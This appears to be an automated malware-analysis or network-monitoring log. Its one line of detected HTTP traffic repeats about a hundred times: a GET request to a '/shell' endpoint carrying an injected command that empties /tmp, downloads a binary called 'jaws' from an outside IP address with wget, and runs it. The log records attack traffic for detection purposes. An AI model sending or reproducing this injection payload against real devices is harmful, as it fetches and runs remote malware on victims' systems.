Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.135.15/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
